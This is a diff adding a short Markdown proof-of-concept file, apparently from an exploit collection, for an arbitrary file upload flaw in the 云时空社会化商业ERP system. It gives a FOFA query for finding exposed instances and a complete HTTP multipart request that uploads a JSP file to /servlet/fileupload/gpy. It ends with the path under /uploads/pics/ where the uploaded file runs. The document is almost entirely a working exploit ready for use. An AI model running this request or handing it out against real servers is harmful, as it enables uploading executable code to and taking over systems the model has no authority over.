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+## 云时空社会化商业ERP任意文件上传
+
+## fofa
+```
+app="云时空社会化商业ERP系统"
+```
+
+## poc
+```
+POST /servlet/fileupload/gpy HTTP/1.1
+Host: ip:8090
+Cache-Control: max-age=0
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate, br
+Accept-Language: zh-CN,zh;q=0.9
+Connection: close
+Content-Type: multipart/form-data; boundary=4eea98d02AEa93f60ea08dE3C18A1388
+Content-Length: 220
+
+--4eea98d02AEa93f60ea08dE3C18A1388
+Content-Disposition: form-data; name="file"; filename="random_str.jsp"
+Content-Type: application/octet-stream
+
+<% out.println("random_str"); %>
+--4eea98d02AEa93f60ea08dE3C18A1388--
+```
+![0a88234fdcf3709606fc26191caf848e](https://github.com/wy876/POC/assets/139549762/a7eb2358-6f1c-4d09-b76a-03a96a453da6)
+
+访问上传文件
+/uploads/pics/2023-12-9/random_str.jsp